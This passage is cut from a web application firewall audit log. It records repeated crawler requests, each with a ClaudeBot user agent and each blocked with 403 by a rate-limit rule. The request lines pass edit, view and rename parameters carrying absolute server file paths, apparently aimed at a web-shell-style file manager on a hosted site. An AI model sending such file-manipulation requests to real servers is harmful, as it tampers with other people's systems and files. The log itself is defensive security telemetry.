TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/caroussel4.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":280,"p2":2681,"p3":0,"p4":0,"p5":464,"sr":139,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.749698 +0100","transaction_id":"abPNnrJ190y1fElY11blvAAAAIY","remote_address":"216.73.216.152","remote_port":53924,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Ftestimonial-1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"9d383b00859f57f58d7565fd23b94c46","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7736998"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9d383b00859f57f58d7565fd23b94c46","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/testimonial-1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":293,"p2":2258,"p3":0,"p4":0,"p5":405,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.841547 +0100","transaction_id":"abPNnrJ190y1fElY11blvQAAAIY","remote_address":"216.73.216.152","remote_port":53924,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fcaroussel3.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b0746da9184458984b1820b86c86c10c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124097"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b0746da9184458984b1820b86c86c10c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/caroussel3.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":278,"p2":2839,"p3":0,"p4":0,"p5":520,"sr":139,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.930885 +0100","transaction_id":"abPNnuEAMg66iR7kG38e0wAAA0k","remote_address":"216.73.216.152","remote_port":34188,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fpartenaire2.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d311f10f2736e0a94f9a74a46327fc8c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124100"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d311f10f2736e0a94f9a74a46327fc8c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/partenaire2.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":260,"p2":2640,"p3":0,"p4":0,"p5":449,"sr":143,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.022489 +0100","transaction_id":"abPNn1RY1ZHue1KnYxoolQAAApI","remote_address":"216.73.216.152","remote_port":53940,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fpartenaire4.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"70e33794d3b4937ff930386aeac58596","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124103"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"70e33794d3b4937ff930386aeac58596","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/partenaire4.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":281,"p2":2633,"p3":0,"p4":0,"p5":465,"sr":158,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.112815 +0100","transaction_id":"abPNn7J190y1fElY11blvwAAAIY","remote_address":"216.73.216.152","remote_port":53924,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Frobots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"89784da8c772b87197c46ed4ec9f1294","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124106"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"89784da8c772b87197c46ed4ec9f1294","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito2.jmkconsulting-ci.com/robots.txt& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":201,"p2":2110,"p3":0,"p4":0,"p5":372,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.205011 +0100","transaction_id":"abPNn026I4peWFmz15ylWgAAAU4","remote_address":"216.73.216.152","remote_port":39254,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fim2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8de57b09c56b4e66ef4078b879ad2aa0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160495"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8de57b09c56b4e66ef4078b879ad2aa0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/im2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":283,"p2":2546,"p3":0,"p4":0,"p5":520,"sr":153,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.295948 +0100","transaction_id":"abPNn026I4peWFmz15ylXAAAAU4","remote_address":"216.73.216.152","remote_port":39254,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2FThe+Green+Earth.jpeg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"47b61910d6e12bc0d4204a6dcf8e77bd","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160498"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"47b61910d6e12bc0d4204a6dcf8e77bd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/The Green Earth.jpeg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":201,"p2":1989,"p3":0,"p4":0,"p5":451,"sr":154,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.386322 +0100","transaction_id":"abPNn026I4peWFmz15ylXQAAAU4","remote_address":"216.73.216.152","remote_port":39254,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fagri.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ba484611604c7f40375aceaa4b89d6fa","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124112"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ba484611604c7f40375aceaa4b89d6fa","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/agri.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":200,"p2":1956,"p3":0,"p4":0,"p5":339,"sr":115,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.477626 +0100","transaction_id":"abPNn026I4peWFmz15ylXwAAAVI","remote_address":"216.73.216.152","remote_port":46936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fdiscussion_3548401.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"613b2dbe3467b3a746e55d05ffe0e867","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124115"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"613b2dbe3467b3a746e55d05ffe0e867","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/discussion_3548401.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":213,"p2":1982,"p3":0,"p4":0,"p5":612,"sr":106,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.571970 +0100","transaction_id":"abPNn7J190y1fElY11blwAAAAIY","remote_address":"216.73.216.152","remote_port":53924,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fproduct-2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"651e050ec2e4039f0cd74381a2ce3b68","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124118"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"651e050ec2e4039f0cd74381a2ce3b68","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/product-2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":370,"p2":3130,"p3":0,"p4":0,"p5":519,"sr":171,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.664484 +0100","transaction_id":"abPNn1RY1ZHue1KnYxoolgAAApI","remote_address":"216.73.216.152","remote_port":53940,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Ftestimonial-bg.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1d7305add9bdc3ac0322b4ad312f0ae4","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124121"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1d7305add9bdc3ac0322b4ad312f0ae4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/testimonial-bg.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":351,"p2":3111,"p3":0,"p4":0,"p5":589,"sr":175,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.753460 +0100","transaction_id":"abPNn026I4peWFmz15ylYgAAAU4","remote_address":"216.73.216.152","remote_port":39254,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2FChristine.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a335683f9d94859bbb6fea8c80d936a1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14321456"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a335683f9d94859bbb6fea8c80d936a1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/Christine.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at 